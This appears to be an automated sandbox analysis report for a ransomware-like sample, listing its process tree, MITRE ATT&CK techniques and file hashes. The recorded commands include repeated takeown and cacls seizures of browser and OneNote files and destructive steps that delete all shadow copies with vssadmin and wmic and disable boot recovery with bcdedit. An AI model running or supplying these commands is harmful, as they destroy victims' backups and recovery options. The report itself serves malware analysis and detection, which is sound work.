C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000072.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000072.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007A.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007A.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007I.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007I.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007Q.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_3""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_3" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_3"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_3" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_3" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13360426561241360""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13360426561241360" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13360426561241360"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Session_13360426561241360" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Session_13360426561241360" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008J.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Web Data" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Web Data" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000095.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000095.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_0""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_0" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_0"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_0" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_0" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000009M.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000009M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "settings.dat" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "settings.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000C.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000M.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000U.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000016.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000016.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000056.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000056.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000006U.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000006U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000076.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000076.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007E.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007E.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007M.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008F.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin"3⤵
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\8qCyH3KW.bat"1⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffcb7b9ab58,0x7ffcb7b9ab68,0x7ffcb7b9ab782⤵
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7KB
MD5d0aa0b76d03e9a5bab5de299c21810e0
SHA12f68e9920e4fc8ec6057b23680f93e3a0bca3ecf
SHA256e8d1873a1a7dc75c19d3d74d92eaddd1fde8cae89040554c18f07edad7a59a74
SHA51299b7ca7a8b5f843dc046da237eb6b92307c8899dff62c02469cf17a40fc4657e9253199fab46a6ac3eae64e8325b24432f5980fff0f2c69db1b7b599d3415b0b
-
Filesize
65KB
MD557de7c281b72bf0b9b90032e11951b34
SHA1e54568d551cbefdbcb34ad5a2c69e7e3228d600e
SHA2563d8093c88ec8fde808539ca7bb86ea623ed0ae54b31977febb94880f380d4e6a
SHA512d23e7d53d2877dfdc5ff8b0d4a6d046ce76fc000f126a0fe16bd663b48247793470fd7f89822f68f09c88425b2d23a82faf68166aac4f01de5ff3ab3cdb1d6d0
-
Filesize
129KB
MD58f1c33236ec3df12e4e8f455ed8cf90a
SHA1b49f0fa5275b60135afa6c73219de9de67941ed1
SHA256800becbc94a7be77a83c9e393657799b38a688869085f453d1d1c71f71fdc76a
